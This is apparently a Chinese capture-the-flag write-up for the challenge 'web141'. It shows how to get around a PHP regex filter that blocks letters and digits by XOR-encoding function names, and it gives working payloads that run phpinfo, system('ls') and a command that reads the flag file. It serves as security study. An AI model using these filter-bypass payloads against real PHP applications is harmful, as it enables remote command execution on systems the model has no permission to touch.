前言
记录web的题目wp,慢慢变强,铸剑。
无字母数字命令执行web141
1 | #error_reporting(0); |
分析源代码,这里用了正则表达式/^\W+$/
,把数字和字母还有下划线给ban了,之前无字母数字的webshell我们用异或来吧(或运算,异或,取反等等都可以)
也可以使用导航中regex101进行正则自动判断分析
简单异或形成的原因分析一下,写个php代码
1 | <?php |
当我们传入a的参数,输入的值进行异或,可以得到一些字符串比如,可以构造字符phpinfo,但使用的是ascii码中32-126之间的字符,除去大小写字母和数字还有下划线,能够构造字母
1 | a=echo (("%0b%08%0b%09%0e%06%0f")^("%7b%60%7b%60%60%60%60")); |
所以,当我们使用phpinfo时,可以直接构造如下payload,成功命令执行
1 | a=echo (("%0b%08%0b%09%0e%06%0f")^("%7b%60%7b%60%60%60%60"))(); |
由于一个个筛选很麻烦,所以写一个脚本直接生成异或之后的字符,如下
1 | # # -- coding:UTF-8 -- |
当我们想要执行system ls 时,直接执行这个脚本获得
接着复制上去就可以看到结果
1 | a=(("%08%02%08%08%05%0d")^("%7b%7b%7b%7c%60%60"))(("%0c%08")^("%60%7b")); |
所以我们分析一下这题,可以发现v1和v2都为数字可以不用管,但是想要执行return,前面的v1后面得跟一个连接符,不然无法执行命令,所以v3前面加个连接符/*-|都行,我用除号,就可以构造payload,读取flag
1 | v1=1&v2=1&v3=/(("%08%02%08%08%05%0d")^("%7b%7b%7b%7c%60%60"))(("%08%01%03%00%06%0c%01%07%00%0b%08%0b")^("%7c%60%60%20%60%60%60%60%2e%7b%60%7b")); |
我的个人博客
孤桜懶契:http://gylq.gitee.io